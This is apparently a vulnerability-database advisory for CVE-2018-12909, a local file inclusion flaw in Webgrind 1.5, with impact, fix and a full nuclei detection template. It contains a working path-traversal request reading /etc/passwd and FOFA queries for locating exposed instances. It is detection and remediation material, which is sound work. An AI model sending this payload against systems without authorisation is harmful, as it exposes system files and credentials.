HexBrain

Browse / CVEs / CVE-2018-12909

CVE-2018-12909· webgrind project / webgrind· CWE-22

Webgrind <= 1.5 - Local File Inclusion

highseverity
7.5CVSS score
15.9%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Webgrind 1.5 relies on user input to display a file, which lets anyone view files from the local filesystem (that the webserver user has access to) via an index.php?op=fileviewer&file= URI

Impact

Unauthenticated attackers can read arbitrary files including sensitive configuration files, database credentials, and system files that the web server has access to.

Fix

Upgrade Webgrind to a version higher than 1.5 or apply the necessary patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/index.php?op=fileviewer&file=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-12909 -u <target>

The full check
id: CVE-2018-12909

info:
  name: Webgrind <= 1.5 - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    Webgrind 1.5 relies on user input to display a file, which lets anyone view files from the local filesystem (that the webserver user has access to) via an index.php?op=fileviewer&file= URI
  impact: |
    Unauthenticated attackers can read arbitrary files including sensitive configuration files, database credentials, and system files that the web server has access to.
  remediation: |
    Upgrade Webgrind to a version higher than 1.5 or apply the necessary patches provided by the vendor.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Webgrind%20fileviewer.phtml%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2018-12909.md
    - https://github.com/jokkedk/webgrind/issues/112
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12909
    - https://github.com/KayCHENvip/vulnerability-poc
    - https://github.com/Miraitowa70/POC-Notes
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-12909
    cwe-id: CWE-22
    epss-score: 0.15882
    epss-percentile: 0.96913
    cpe: cpe:2.3:a:webgrind_project:webgrind:1.5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: webgrind_project
    product: webgrind
    fofa-query:
      - app="Webgrind"
      - app="webgrind"
  tags: cve,cve2018,lfi,webgrind,webgrind_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?op=fileviewer&file=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
          - 'webgrind'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from